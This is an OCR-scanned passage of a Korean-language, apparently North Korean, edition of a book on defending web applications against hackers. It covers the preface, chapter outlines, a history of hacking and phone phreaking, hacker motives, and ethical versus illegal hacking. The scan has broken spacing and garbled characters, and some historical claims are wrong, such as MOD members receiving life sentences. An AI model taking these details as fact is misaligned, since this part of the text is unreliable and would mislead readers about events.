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머 리 말 


이 단행본《해커방지 (Web 응용프로그람편)》에서는 응용프로그람개발의 가장 낮은 
단계로부터 나가면서 보안문제를 취급하고 있다. 코드에서 나타나는 흠집과 오유를 찾고 
검사하는데 시간이 많이 들고 코드에서 비법적공격의 위험성을 완전히 없애는 방법은 아 
직까지 없다는것을 인정하면서 한편 이 책에서 론의한 방법론들을 주로 활용하여 공격의 
피해범위를 줄이면서 공격가능성도 훨씬 줄일수 있게 하리라고 본다. 책은 주로 Web 응 
용프로그람에 의한 해커방지를 위주로 한 다음의 문제들을 구체적으로 취급한다. 

• 보안공정은 반드시 연구되고 계획화되며 설계될뿐아니라 자기 요구에 부합되여야 
한다. 공정 에 는 망보안계 획 , 응용프로그람보안계 획 , 탁상보안계 획 이 들어 가야 
한다. 모든 개발자, 관리자，질검중림들은 계획작성에 반드시 참가하여 야 하며 
보안공정에서의 자기 역할을 잘 알아야 한다. 

• 검사과정은 응용프로그람보안에서 가장 초보적인 부분이다. 보안시험은 선택된 
보안관찰의 성공과 실패를 충분히 판결할수 있도록 실지공격상태에서 진행되여야 
한다. 방위 수단들은 해 커들이 그것 을 파괴하는데 드는 시 간과 노력 으로 하여 실 
망할수 있게 더 많은 품을 들여 만들어 야 한다. 

• 개발자들은 자기가 리용하는 도구묶음을 변화시키거나 갱신 및 확장하는데 깊은 
주의를 돌려야 한다. 왜 냐하면 이것 이 기술을 갱 신하는 가장 빠른 길이 기때문이 
다. 때때로 낡은 부분품들과 새 판본들이 리용되군 하는데 아직은 설치하는데 드 
는 지나친 시간소비와 파악부족으로 하여 잘 리용하지 않는다. 

• 개 발자, Web 전문가, 망관리 자들은 알려 진 보안위 협 들에 반드시 주의 를 돌려야 
한다. 이 에 대하여서는 Web 싸이 트 www. SecurityFocus.com 혹은 www.cert. 
org 를 통하여 쉽게 안내 받을수 있다. 이 싸이트들은 현재까지 제기된 위협통보 
목록을 제공할뿐아니 라 등록된 위협들에 대한 해결방법들을 비롯하여 보안에 따 
르는 방조가 펼요한 개 발자들을 위한 공개 토론회 도 제 공하고 있 다. 

보안은 반드시 여러층으로 되여 있어야 하며 모든 준위에서 필요상 복잡하게 만들어 
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져야 한다. 하나의 프로그람작성언어에 대하여 동작할수 있는것이 다른 언어에 대하여서 
는 동작할수 없어야 한다. 

이 책의 기본목적은 개발자들이 매개 프로그람작성 가동환경 ( platform ) 에 있는 보안 
문제들에 대하여 잘 알고 합리적 인 프로그람작성을 위한 해결방도를 찾자는데 있다. 

제1장 《해 킹방법론》은 해커공동체 에 대 한 초보적 인 리해와 함께 이 러 저 러 한 해커 
의 동기에 대하여 론의한다. 

제2장《코드파괴 자로 되는것을 피 하기》는 프로그람작성 자와 같이 〈〈창조적 으로》 
사색하는데 서 나서 는 중요한 문제 들을 론의하며 프로그람코드의 리 용，기 능 그리 고 그 
보안흐름에 대 한 충분한 파악이 없 이 코드를 개 발하는것 이 위 험 하다는것 을 설명한다. 

창조적 이며 분석적 인 사고에서 장애물은 물리적이며 지능적 인 보안개념，공업생산조 
절，낡은 기술에 대한 의존성，비용 및 기일상 제한조건에 의하여 제약되는 업무와 관리 
에 의해 조종되는 환경인데 이와 같은 환경은 공개적인 평가와 검사를 지원할수 없다. 

제3장《이동코드와 관련된 위험》은 사용자안전과 응용프로그람효과성의 견지에서 
VBScript , JavaScript , ActiveX 조종체 와 기 타 이동코드류형을 리 용할 때 관련된 위험 
성에 대하여 알려 준다. 

응용프로그람의 기능성과 그의 실제적 이고 파악된 보안은 이 러한 종류의 강력한 코 
드를 리용할 때 위험으로 된다. 

제4장《파괴되기 쉬운 CGI 스크립트》는 Web HTTP 봉사기에서 외부프로그람들을 
리용할 때 의 취 약성 에 대 하여 설명한다. 

제5장《해킹수법과 도구》는 비법적인 해커들이 시도할수 있는 여러가지 형태의 공 
격들 그리고 공격을 성공시키는데 리용할수 있는 여러 도구들과 수단들을 밝힌다. 

지16장《코드검 열과 역공학》은 보안위 반들이 나타나는 사용자입구들에 대 해 거꾸로 
각이한 언어 에서 원천코드를 추적하여 무슨 작용들이 자기코드의 파괴 성 의 원인으로 되 
는가를 알도록 실천적으로 론의를 시작한다. 

제7，8, 9장과 10장은 개성적인 언어들인 Java 와 JavaScript , XML , ActiveX 그 
리 고 ColdFusion 을 리 용하는데 서 제 기 되 는 여 러 가지 형 태 의 보안위 험 들을 밝힌다. 

제11장《보안가능한 응용프로그람개발》은 PGP , 수자서명，증명서봉사 그리고 자 
기 Web 응용프로그람에로 시각적 인 보안을 구축할것을 목적한 PKI 개념들을 준다. 

마지막으로 제12장《보안계획화사업》에서는 새로운 코드를 실현하기전의 보안담보 
방책으로서 실현코드심사를 진행하기 위한 규칙들을 고찰한다. 
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제 1 장. 해킹방법론 


이 장의 기본체계 

산 해 캉의 간단한 력사 
令 무엇이 해커를 추동하는가 
판 현 시 기 의 공격 형 태 
판 Web 응용프로그람보안위협에 대한 인식 
선 해커 라고 생각하면서 끼여들기를 막기 
邊 결론 
9 요약 


9 물음과 대 답 



소 개 


2000년 2월에 있은 eBay , Yahoo , Amazon 을 비롯한 기 타 상거래 Web 싸이트와 비 
상거래 Web 싸이트들에 대 한 공격 이 있었다. 이 공격들은 모두 분산된 봉사거부 ( DDoS ) 
공격 들이였으며 다 봉사기 준위 에 서 일 어 난것 들이 였 다. 이 와 같은 공격 들은 IT 협 회 와 
출판사의 쎈터들을 해 치는데까지 넘 어 갔다. 이와 관련하여 정보보안전문가들과 대상과 
제 관리 자 등 IT 전문가들의 각성 이 높아 지 게 되 였 다. 결과 해커 들은 망관리립장에서 뿐 
아니 라 응용프로그람개 발립장에서 보안에 대 한 타격 도수를 높이 면서 창발적 이 면서도 높 
은 기교를 나타내기 시작하였다. 

방어수단들을 만들자고 하면 어디에 이 공격들이 근원을 두고 있으며 누가 왜 우리 
를 목표로 삼는가에 대하여 반드시 알아야 한다. 그러므로 우리는 여기서 우연히 목표로 
되거나 선정될수 있는 응용 프로 그람들과 체계들에 대하여 학습하게 되며 우리의 방어전 
략이 가능한껏 합리적이면서도 부단한 평가를 받게 해야 한다. 만일 프로그람을 공격 모 
의를 통해 검사하고 평가하게 된다면 반 갑지 않은 불청객이 하기전에 사고위험성과 취약 
성을 더 빨리 찾을수 있게 될것이다. 

해커 라고 하면 경험 이 어린 반달족사람 (Web 싸이트를 보기 흉하게 만드는 사람)으 
로부터 금융구좌자료기지까지 손 댈수 있는 전문가적 인 해커 ( masterhacker ) 에 이르기 
까지 그 의미는 넓은 범주에서 사용된다. 해커모두는 일정한 정도로 파렴 치성을 가지 
고 있다. 

인터네트 ( Internet ) 세계에서는 아무 해커나 다 케빈 미트닉크 (Kevin Mitnick ) 라는 
이름을 말하며 해커들은 즉시에 그 이름을 알아 본다. 미트닉크가 해킹범죄로 몇년을 감 
옥생활을 한것으로 하여 도처에서 케빈 미트닉크는 해커를 가리키는 출판물포스터아이로 
되였으며 한편 해커공동체에서는 그를《희생양》과 같이 보고 있다. 

미 트닉크 는 현재 해킹을 밝히는데 도움을 주고 있지만 그 역시 해킹의 첫 걸음을 땐 
사람에 불과하다. 최근에 해커의 잔인성과 다양성이 커짐으로써 일반적인 사람들속에서 
해킹을 상대적으로 새로운 현상이라고 보는 틀린 개념들이 나돌고 있다. 해킹은 비록 콤 
퓨터가 그 수단이라고 하지만 인터네트의 발명에 기원을 두고 있다. 이 장에서 앞으로 
론의하겠지만 다양한 형태의 코드중단현상과 전화기술해킹들은 모두 해킹의 주되는 징후 
들이 다. 

이 책 의 전반에서 우리 는 자기 의 Web 응용프로그람에 대 한 해 킹방지 를 위한 개 발 
도구들을 학습하게 된다. 또한 이 책 에서는 싸이 트관리를 보안하기 위한 취급방법들에 
대하여서는 기본적 인 륜곽만 주고 있으며 보다 안전한 코드작성，보안계획의 실현은 
물론이고 싸이트리용가능성，자료도용，자료완전성을 막고 싸이트내용물로 이루어 질 
수 있는 개발자의 주장을 보다 훌륭히 지키기 위하여 《해커 라고》생각하고 학습하도 
록 도와 준다. 

용어에 대한 리해 

해커 에 대 하여 이 야기할 때 해커의 의미를 정 확히 리 해 하기 위 하여 잠간 주의를 집 
중하자. 해커를 서술하는데서 이러저러한 많은 용어들이 리용되군 하는데 대다수 용어는 
누가 누구를 서술하는가에 따라 서로 다른 뜻을 가진다. 해커공동체가 자기의 고유한 어 
휘 와 문화를 어 떻 게 발전시 키 는가 하는 상식 을 얻 기 위 하여 통용어 파일 (Jargon File ) 을 
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웨브스터 (Webster) 사전은 무엇 인가 망쳐 버 린것을 남겨 두는 파괴 작용 혹은 문제거 
리를 교묘하게 속이는 방법들로써 해킹 (해커작용)을 다양하게 정의하며 해커는 활동력에 
있어서 좀 광신적인 어떤 사람이 될수 있다고 본다. 류사하게 IT 세계에서는 매 《해 
커》는 비법적이 아니며 해킹은 항상 어떤 사람에게 해독작용을 하는것만은 아니라고 본 
다. IT 협회내에서는 해커들을 도덕적인 해커와 고의적인 해커로 분류한다. IT 협회의 공 
개발간물은 취 약성을 밝혀 낸 사람이 남자이건 녀자이건 관계 없이 해커로서 널러 폭로한 
다. 해 커 들은 자기 들을《 헐 리 우드 (Hollywood) 》의 《 좋은 사나이》목동을 상징 하듯이 
겁쟁이흰모자 (white hat) 해커로 표현하는데 이것은 자기들은 득 비법적 또는 악독한 해 
커는 아니라는 의미를 담고 있다. 검은모자 (black hat) 해커들은 악의에 찬 의도를 가지 
거 나 자기 러 익 만을 위 하여 망이 나 체 계 들에 끼 여 드는 해 커 들이 다. 그러 나 자기 들을 도 
덕적이라고 자칭 하는 개별적사람들은 주관적이며 기회주의적인 해커들이다. 구별은 회색 
모자 (gray hat) 해커 로 하는데 이들은 다른 이름을 더 달고 다닌다는 기정사실을 부인하 
고 공동체에 강한 불만을 표시하고 있다. 어쨌든 모든 경우에 자기를 나타내는《실질적 
인》해커들이 공통으로 가지고 있는 유일한 특징은 좋은 지적인 결투를 한다는 측면이 
다. 자기를 명 백히 드러 내놓지 않고 코드를 리용하여 해 킹하는데 종사하는 사람(스크립 
트애숭이 : script kiddies) 혹은 다른 사람들의 체계에 끼여 들 목적밑에 단독으로 해킹 
하는 사람(크랙커 : clackers) 들은 모두 반달사람에 못지 않은 교묘한 해커 라고 생 각된다. 

이 책에서 《해커》들에 대해 말할 때 우리는 일반적으로 남의 일에 간섭하는 사람 
이나 반갑지 않은 불청객들을 가리키는 의미에서 사용하며 또한 체계와 응용프로그람관 
점에서는 조그마한 고의적인 행동에 대하여서도 그렇게 말한다. 


제 1 절. 해킹의 간단한 력사 


어떤 의미 에서 해 킹은 아마추어 라지 오광신자들이 경 찰과 군용라지 오선로로 무엇 이 
오고가고 있는가를 도청하려 고 시 도하던 1940년대 와 1950년대 에 시 작되 였 다. 이 《 신해 
커》시 대 의 대 다수 광신자들은 단순한 호기 심 을 품은《 정 보중독자》들이 였 는데 그들은 
정부나 군부활동에 대한 정보가운데서 흥미 있는 부분만 살폈다. 그들이 맛보는 쾌 락이 
란 다른 사람들이 모르게 정보통신통로들에 잠복해 있으면서 발견되지 않도록 하는것이 
였 다. 

해 킹과 기술수법은 마 벨 (Ma Bell) 의 초기전화기술이 쉽 게 채용되던 때 인 60년대 
후반기에 벌써 굳게 결합되였으므로 해커들은 자유로이 전화호출을 할수 있는 가능성을 
발견해 낼수 있 었다(이 에 대 하여서 는 다음절 에서 고찰한다) . 기 술이 선진적 이였기 때 문에 
해 킹방법 들이 그것 을 리 용하였 다. 

이것 이 콤퓨터해 킹과 관련하여 리 용될 때 해커 라는 용어 가 제 안되 였으며 처음으로 
MIT 콤퓨터어휘집 에서 리용하였다. 당시 이 단어는 오직 문란하게 제마음대 로 처신하는 
재간 있고 광란적인 프로그람작성자를 가리키는데만 사용되였다. MIT 의 공학모델철도구 
락부 (Tech Model Railroad Club) 의 초창기성원들은 DEC 회사의 PDP-10 대형콤퓨터 에 
태 운 량립 할수 없는 시 분할체 계 (ITS:Incompatible Timesharing System) 라고 부르는 
초기 쏘프트웨어 를 물리 칠 때 바로 이 특징 을 보여 주었 다. 그때 많은 해 커 들은 MIT 의 
인공지능실험실을 주로 맴돌았다. 


9 



하지만 1960년대에 와서는 해커들이 서로 1세대라고 말하는 첫 대륙횡단콤퓨터망체 
계 인 ARPANET 가 그들의 합법적 인 활무대로 되였다. ARPANET 는 온 미국땅에 퍼졌 
는데 이로부터 해커들한테는 자그마한 고립된 협회에 망라되여 일하기보다 하나의 큰 그 
롭으로 서로 결합하여 일할수 있는 절호의 기회가 처음으로 마련되였다. 또한 
ARPANET 는 해 커 들이 공동의 목적 을 토론하며 망을 통하여 협 동실험 을 진행하는데 필 
요한 통신규범들과 해커문화의 작업내용을 서로 알려 주는 유일한 좋은 기회로 되였다 
(이 미 앞에 서 설 명 된 Jargon 파일 이 통신규범 과 해 커 문화를 알려 주는 통용어 파일 이 다) . 

1. 전화제계해킹 

전화해 킹 은 흔히 존 드래 퍼 (John Draper ) 라는 이름으로 통용되는데 다르게 는 캐 픈 
크란취 ( Cap’n Crunch ) 라는 다른 이름으로도 통한다. 드래퍼는 보통 아이들의 목소리 
에 있는 휘바람소리를 2600 Hz 음조까지 완전히 떨구는 방법론을 체득하였는데 그는 이 
방법을 무료전화호출에 리용하였다. 

1970년대 중엽 에 스리 브 워 즈니 아크 (Steve Wozniak ) 와 스리 브 죠브스 (Steve Jobs ) 
는 애 플 ( Apple ) 를퓨터 회 사를 창립한 인물들로서 전화체 계 를 해 킹 하는데 리 용되 는《푸 
른통 (Blue Boxes ) > 이 라고 부르는 장치들을 만들어 상당한 인기를 모은 드래 퍼 와 함께 
일 하였 다. 일 감들에 는《 버 클리 블루 (Berkley Blue ) 》라는 대 호를 붙이 였 고 워 즈니 아크 
는《오아크 토에 바크 (Oak Toebark )》 라고 가명 을 쓰고 활동하였 다. 두 사람은 당시 
전화해 킹 (프레 킹 : phreaking ) 에 서 중요한 역 할을 놀았다. 

드래퍼와 다른 전화프레커 ( Phreaker ) 들은 자기들이 전화체계에서 발견한 구멍들을 
론의하기 위하여 밤마다《토론회호출》이라는 회의에 참가하였다. 호출회의에 참가하기 
위하여 DTMF (2 중음다중주파수)다이얄전화를 사용하였는데 이것은 지금 우리가 누름단 
추식전화를 걸 때와 똑 갈다. 프레커가 하려는것은 DTMF 다이 알신호를 푸른통을 거 쳐 
선로에 태 우는것이 였 다. 

호출후 2600 Hz 의 소리 를 내 는 통을 순서 있게 배 치하였 다. 통은 선로가 놀고 있다 
는것 을 알아 내 는 신호를 평 가한 다음에 는 경 로명 령 을 기 다렸 다. 프레 커는 암호임 풀스 
(Key pulse : KP ) 와 시작 ( start 。미음을 호출하는 번호마다의 맨끝에 놓았는데 이것은 
경로명령과 타협하여 경로를 알아 내고 사용료호출신호가 있은것처럼 속여 넘기였다. 특 
수선로가입은 벨 전화 (Bell Telephone ) 회사에 루트가입 (기본가입)한것과 기본적으로 같 
았다. 이렇게 품 들인 전화프레킹의 다른 목적은 무료호출외에도 발견한 선로말썽거리들 
을 거꾸로 보고 받자는데도 있었다. 

이 것 으로 하여 존 드래 퍼 는 1970년대 까지 두번씩 이 나 체 포되 였으며 전화프레킹 에 참 
가한 죄 로 오랜 감옥생 활을 하였다. 

하지만 금융상 리유로 해 킹과 프레킹의 가장 위대한《본보기》는 라지오경쟁 에서 
완전히 승리한 케빈 파울센 (Kevin Poulsen ) 의것으로 되였다. 바로 이 파울젠이 라지오 
시 장을 독점 하려 고 라지 오경 쟁 에 서 사기 협 잡을 일 삼던 패 시 획 크 벨 (Pacific Bells ) 를퓨 
터회사에로 해킹을 하였다. 이러한 경쟁에서 파울센은 약간한 어떤 공상을 가지고 모든 
전화회선들을 블로크화하고 매 호출기가 102개 호출기로 이루어 지도록 하였다. 이러한 
특별한 노력의 대가로 파울젠은 Porsche 944_ S 2 Cabriolet 을 이겼다. 

파울센은 금융상 리득만을 위해서 해킹을 하지 않았다. 그 역시 FBI 체계에 대한 해 
킹 에 참가하였기 때 문에 마찬가지 로 정 부기 관콤퓨터 체 계 들에 대 한 해 킹 죄 로 비 난 받았다. 
파울젠은 경쟁자들의 맨앞에 서려는 꿈을 안고 자기의 감시방법들에 대한 시험연구를 위 
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하여 FBI 체계들에 대 한 해 킹을 진행하였다. 

파울센은 미 국간첩법 에 따라 기 소된 첫 해커 였다. 

2. 콤퓨51해킹 

이미 지적한것처럼 콤퓨터해킹은 1950 년대에 나타난 첫 망작업콤퓨터들과 함께 시 
작되 였 다. 1969 년에 있은 ARPANET 출현과 그이후 나타난 NSFNET 는 콤퓨터망의 리 
용가능성 을 크게 증대 시 켰다. ARPANET 를 통해 련결된 첫 4 개 싸이트는 토스안젤스 
의 캘 리 포니 아종합대 학，싼타바바라의 캘 리 포니 아대 학，스탠포드종합대 학 그리 고 유타 
종합대학이였다. 이 4 개 련결매듭들은 해커들에게 보다 회사화된 방법으로 합작할수 있 
는 가능성을 고의적으로 주었다. ARPANET 이전의 해커들은 오직 같은 건물에서 실제 
로 작업할 때 만 직 접 서 로 통신할수 있는 가능성 을 가지 고 있 었 다. 이 때 대 다수 콤퓨터 
광신자들은 종합대학강당에 모여 토론회를 가지군 하였는데 공개적으로 토론들을 진행 
하였다. 

그때 는 를퓨터망 그리 고 인테네 트가 부여하는 새 로운 선진사상과 함께 해 킹도 역시 
선진적이 였 다. 기술이 전에서 남보다 앞서 나가려는 사람들은 두말할것 없고 해 킹 주위를 
맴도는 사람들도 다 서로 다른 여러가지 체계들이 어떻게 작업하는가에 대한 의문을 품 
고 가장 효과적 인 길 을 모색 하던 사람들이 였 다. 그때 MIT, 카네 기 -멜 론 (Carnegie- 
Mellon) 종합대학，스탠포드종합대학은 인공지능 (AI) 분야를 선두에서 이끌었다. 종합대 
학들에서 리용된 콤퓨터들은 주로 DEC 회사의 PDP 계렬미니콤(소형콤퓨터)들이였는데 
인공지능분야를 연구하는 많은 사람들이 리 용하였다. 따라서 상업거 래계산과 시분할조작 
체계에서 햇내기에 불과했던 DEC 는 당시 종합대학들에서 쉽게 만들수 없었던 강력하고 
유연한 기계수단들을 제공하였다. 

ARPANET 는 생 명 주기 의 대 다수를 DEC 기 계 수단으로 이 루어 진 망으로서 존재 하 
였다. 가장 널 리 리 용된 이 기 계 수단이 PDP-10 인데 1967 년에 첫 제 품이 생 산되 였 다. 
PDP-10 은 거의 15 년동안 해커들에게 제공된 기계였다. 조작체계 TOPS-10 과 그의 아 
쌤블러 MACRO-10 은 오늘도 여전히 거대한 잠재력을 발휘하고 있다. 대다수 종합대 
학들이 콤퓨터계 산설 비 와 관련된 같은 길 을 지 금껏 걸 었 다고 볼수 있지 만 MIT 는 자기 
고유한 길을 걸었다. 

그들은 가상적으로 매 설비가 다르게 리용되는 PDP-10S 를 리용하였는데 PDP-10 을 
위한 DEC 의 쏘프트웨어 를 리용하려 고 하지 않았다. MIT 는 자기 한테 필 요한 조작체 계 
를 만들 결심을 가지였는데 바로 그때가 량립할수 없는 시분할체계 (ITS) 라는 조작체계 
가 등장한 시기였다. ITS 는 시분할체계를 오랜 시간 련속사용하게끔 하였다. ITS 는 아 
쌤 블리 어 로 작성 되 였지 만 많은 ITS 대 상과제 들은 LISP 언어 로 작성 되 였 다. LISP 는 그 당 
시 임의의 다른 언어 에 비해 보다 유력 하고 유연한 언어 였다. LISP 의 사용은 MIT 에서 
우연히 일 어 난 기 본적 인 해 킹 대 상과제 의 성 공에 주로 기 인된다. 

1978 년경에 해킹세계와 유일하게 결별한 실질적인 대회가 있었다. 해커들이 공동장 
소에서 회의를 할수 없다면 보다 성공적으로 해커들이 만나자면 어떻게 하는것이 가장 
좋겠는가. 1978 년 에 랜 디 쑤저 (Randy Sousa) 와 워 드 크리 스찬센 (Ward Christian¬ 
sen) 은 처 음 으 로 개 인 용콤 퓨 터 게 시 판체 계 (BBS : Bulletin-Board System) 를 만들 었 다 . 
이 체계는 오늘도 여전히 동작하고 있다. 

이 BBS 는 해커들이 한 나라범위 에 극한될 필요성을 부인하였다. 그러나 CPU, 쏘 
프트웨어，주기억 , 주변기 억 장치를 완전내 장한 첫 단독적 인 기계는 IBM 에 의하여 1981 
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년까지 소개 되지 않았다. 그들은 이 계산기 계 를 개 인용콤퓨터 (PCPersonal Computer ) 
라고 불렀다. 80년대가 지나자 모든것이 변화되기 시작하였다. ARPANET 는 느리게 인 
터 네 트에 들어 서 기 시 작했지 만 BBS 의 인터 네 트에 대 한 대 중성 은 폭발적 이 였 다. 

케 빈 미 트닉크는 첫 를퓨터범죄 로 거의 10년 가까이 유죄 를 선언 받았다. 그는 MCI 
와 DEC 의 비밀공무원들의 전자우편을 몰래 조작하다가 붙잡혀 감옥에 1년간 억류되였다. 
역시 이와 같은 시기 에 시카코의 제1민족은행은 7천만$의 콤퓨터범죄의 희생물로 되였다. 
이 모든것 이 발생한 시기를 전후하여 파멸부대 ( LOD:Legion of doom ) 가 형성되였다. 
이 배타적인 구락부의 한 기본인물이 다른 사람에 대한 원한을 품고 구락부를 뛰쳐 나와 
자기딴의 해 킹그룹인 사기협잡전문가 ( MOD:Masters of Deception ) 그룹을 만들것을 결 
심하고 사업에 착수했다. 두 그롭사이의 안전담보싸움이 거의 2년간 계속되였는데 당국 
은 그 싸움을 끝까지 계속 추적하였으며 MOD 성원들은 감옥에 종신감금되였다. 

LOD 와 MOD 사이 에 보여 준 싸움과 같은 터 무니 없는 일 을 영 원히 끝장내 기 위하 
여 1986년 에 대 회 가 열 리 였 으며 회 의 에 서 는 련 방콤퓨터 사기 및 람용행 위 ( FCFAA ) 라고 
부르는 법을 채택하였다. 정부가 처음으로 해킹을 커다란 덩이로 보고 소집한 이 회의에 
서 통과된 법은 그리 오래 가지 못했다. 로버트 모리스 (Robert Morris ) 가 1988년에 인 
터 네 트를 위 한 웜 ( worm ) 을 만든것 으로 하여 유죄 판결을 받았다. 모리 스의 월 은 6000개 
의 망작업콤퓨터들을 해치였다. 모리스는 자기가 작성한 프로그람은 해독작용이 없다고 
확신했지만 그 대가로 어쨌든 많은 피해를 입었다. 그후 해킹은 마치 로케트와 같이 하 
늘로 달아나 버 린것처 럼 보였다. 사람들은 콤퓨터활동을 악용하려는데 대해 경각성을 높 
였고 모든것을 법으로 다투었다. 그때가 바로 케빈 파울센이 무대에 등장하여 전화에 간 
섭을 놀던 시기였다. 그는 최종적으로 붙잡히기전까지 17개월동안 이 법을 훌륭히 《피 
하였 다》 . 

해킹 시 도와 수법 들에 대 한 증거 물들은 거 의 매 일 석 간신문들과 인터 네 트의 신문매 대 
들에서 볼수 있다. 콤퓨터보안연구소 ( CSI:Computer Security Institute ) 는 500개 회사 
를 대상으로 조사를 진행했는데 여론조사의 90%가 최근년간 일련의 사이버공격 (두뇌공격) 
을 받았으며 20〜30%는 침입자들에 의해 일부 보관자료들이 리용되였다는것을 인정 하였 
다. 해 킹도구와 해커들이 보편적으로 사용하는 수법들을 연구하고 알아 내여 사무작업 이 
보다 압도적이 면서 도 만족스러 운 장애차단물을 가지 도록 하는것 이 중요하다. 방위 전 략을 
세 우는 회 사들은 해 커 들의 목표로 되 는데 로부터 자기 들을 보호할뿐 아니 라 소비 자들로부 
터의 보호대책도 세워야 한다. 그것은 Web 응용프로그람에 대한 대다수의 보안위협들이 
말단사용자들로부터 오기 때 문이 다. 


제 2 절. 무엇이 해커를 추동하는가 


나른일，결투심，권태증，복수심이 바로 일부 해커들의 동기로 된다. 해커들은 대단 
히 천진란만하게 상업을 시작할수 있다. 그들은 자주 자기들이 훔쳐 볼수 있는것이 무엇 
이며 무엇을 할수 있는가를 찾기 위하여 해킹한다. 그들은 처음에 자기들이 하려고 생각 
하는 깊이까지 다 실현할수 없다. 하지만 시간이 흐름에 따라 그들의 솜씨도 늘어 나며 
자기들이 하려는 목적을 점차적으로 실현하기 시작한다. 여기서 해킹이 개인의 리윤추구 
에 모든것을 다 바친다는 틀린 개념이 있지만 어쨌든 그러한 사상이 있는것은 사실이다. 
드문히 해커들은 자기들이 했다고 말할수 있는 무엇인가에 끼여 든다. 
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해커가 쌓는《지식》이란 힘과 위신이다. 그러므로 나쁜일과 위신(해커공동체속에 
서는 명성이라고 말함)은 모든 해커들에게 있어서 중요한 일거리이다(괴수다운 명성이 
법정에 나선후에도 일반적으로 환영 받겠는지!). 

또 다른 리유는 해킹이 지적인 결투라는것이다. 취약성을 밝혀 내고 표식 ( mark ) 을 
람색하고 누가 다른 사람이 찾지 못하는 구멍을 찾아 내는것 바로 이것이 기술적사색을 
위한 훈련 이 라는것 이 다. 결투를 받아 들이 려 고 열망하는 프로그람작성 자들을 위 해 해 킹 
이 가지고 있는 일거리는 해커토론회와 쏘프트웨어회사들에 의해 취해 지는 회사적인 경 
쟁 회 수와 인기 이다. 

권태증(태만)은 해킹의 또 다른 중요한 원인이다. 해커들은 자주 자기들이 접근할수 
있는 금지된 문건들이 어떻게 분류검사되는가를 알기 위해 주위를 늘 살핀다. 목표의 찾 
기는 흔히 특별한 위치에서 그것을 훑어서가 아니라 취약성을 통해 우연히 나타나는 결 
과이 다. 

보복(복수)해킹은 사정이 좀 다르다. 이것은 어떤 위치에 있는 사람이 어떤 동기로 
어떤 사람에게 오해를 가지고 미처 돌아 가기때문에 일어 난다. 이것은 격동되였거나 실 
업당한 사람들속에 서 나타나는 일 반적 인 현상으로서 그들은 자기 가 우둔한 짓 을 한것 이 
없다는것을 이전 회사측에 보여 주기 위하여 지금도 몹시 노력 하고 있다. 보복해 킹은 아 
마 모든 회사들에 있어서 가장 위험한 해킹형태일것이다. 왜냐하면 이전 종업원은 다른 
형식의 보호정보뿐아니라 원천코드와 망을 자세하게 알고 있기때문이다. 또 자기 를퓨터 
체계에로 누군가가 해킹한다는 경고를 받았을 때 회사측은 망기사나 망개발전문가를 찾 
아 가게 되기때문이다. 우리는 때가 오기를 기다리지 말고 제때에 보안계획을 세워야 
한다. 

1. 도덕적해킹과 비법적해킹 

만일 그가 언제 인가 해 킹 하였다면 임의의 개 발자에게 문의 하시 오. 또 자기 가 언제인 
가는 해커였다면 자신에게 물어 보시오. 답변은 아마《옳다》일것 이다. 우리는 모두 어 
쨌든 이러저러한 원인으로 해킹하였다. 관리자들은 환경장애물주변에서 결점을 찾기 위 
하여 해 킹한다. 보안전문가들은 고의 적 이든아니 든 뒤 문을 통해 응용프로그람과 자료기 지 
에 대한 자기들의 방법을 시험하여 보려고 시도한다. 보안전문가들은 자기들한테 제기되 
는 문답을 준비하기 위하여 망과 응용프로그람들을 해 킹하는데 그들은 자기 회사측에 자 
기들이 할수 있는 임의의 약점을 찾아 낸 다음 그것을 폭로할것을 요구한다. 그들은 회 
사측에 찾은 모든것을 폭로시키는데 찬성한 도덕적인 해킹을 하고 있으며 또한 누구에게 
든지 이 정 보를 공개 하지 않는다는것 을 립 증하는 비 공개찬성 문건에 수표를 한 사람들이 
다. 하지만 도덕적인 해킹을 하는 선발된 보안전문가로 되여서는 안된다. 도덕적인 해킹 
은 협동하는 방조자들이 작성한 코드나 자기가 작성한 코드에 대한《한도검사》를 받는 
때에 발생한다. 도덕적인 해킹은 비법적인(비도덕적인) 공격을 막기 위하여 하게 된다. 

다른 한편 비법적인 해커는 발견하고 채용하는 취약성 (약점)들을 공개할 의향을 전 
혀 가지지 않는다. 비법적해커들은 보안에 종사하는 사람들에게 취약성을 보고한것보다 
그것 을 더 훌륭히 채 용하면서 취 약성 으로 하여 생 긴 보안구멍 의 메 꾸기 (덧 대 기 : patch ) 
와 고정 하기 (고착)를 피 한다. 고정 하기는 보안구멍 에 의한 다른 약점들이 더 는 생 기지 
않도록 대책을 세우는것을 말한다. 해커들의 침습은 도적질， DDoS 공격， Web 싸이트를 
보기 흉하게 하거나 이 장에서 보여 주는 임의의 다른 공격형태들에로 이어 질수 있다. 
간단히 보면 비법적인 해킹은 해독작용을 고의적으로 하는것이다. 
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도덕적인 해커와 비법적인 해커에 대한 정의사이에는 해킹의 임의의 형태와 관련한 
합법적인 문제들이 론의된다. 실제로 누구를 위해 자기의 포구를 검사하게 할 사람이 있 
으며 채용할수 있는 약점의 람색에 임의의 방법을 마음대로 사용하게 할 사람이 있겠는 
가? 명백한것은 찾아 낸것을 보고하든지 아니면 그것을 채용하든지 이 둘중의 하나이다. 
만일 회사가 침입을 동반하는 해킹시도들을 직접 요구하지 않는다면 보안《방조》는 환 
영 받지 못한다. 

2. 보안전문가들과의 협동작업 

해커의 공격보호에서의 최근동향은 참모성원으로 보안전문가를 두는것이다. 이 실천 
적해결책은 해커로서 종사하면서 관리에도 참가하는것인데 그것은 충격적인 공격들에 대 
한 철저한 방위로 되는것처럼 보일수는 있다. 이것은 Web 응용프로그람개발에서 항시적 
으로 존재 하는 문제거 리들을 완전히 론리적 이면서도 지적 으로 푸는것 이 다. 보안전문가들 
은 전시간 ( full - time ) 종업원들처럼 있으면서 때때로 적당한 직원들에 대한 보안시험과 
보안결과들을 위하여 그들과 접촉할수도 있으며 현재 보안상태를 개선하는 제안을 낼수 
도 있다. 많은 단체들에서는 보안전문가가 IT 부분의 참모성원으로 있으면서 전시간종업 
원들처럼 매우 훌륭히 일하고 있다. 

보안전문가는 망과 Web 응용프로그람을 공격 하기 위하여 해 커 들에 의하여 사용된 
류사한 방법들을 리용한다. 보안전문가는 공격이 어디에서 일어 날수 있는가를 검출할뿐 
아니라 보안계획을 세우는데 방조를 줄수 있어야 한다. 보안초점 이 불은 코드심사를 개 
발공정에 받아 들이고 해커들에게 가장 자주 채용되는 전략들을 개발자들이 알게 하든지， 
응용프로그람내 에 존재 하는 구멍 들을 단단히 그리 고 쉽 게 막게 하든지간에 최 종결과는 
보다 좋은 보안이 되게 해 야 한다. 물론 이 러한 앞서 내린 결심에 따라 보안위험 이 올수 
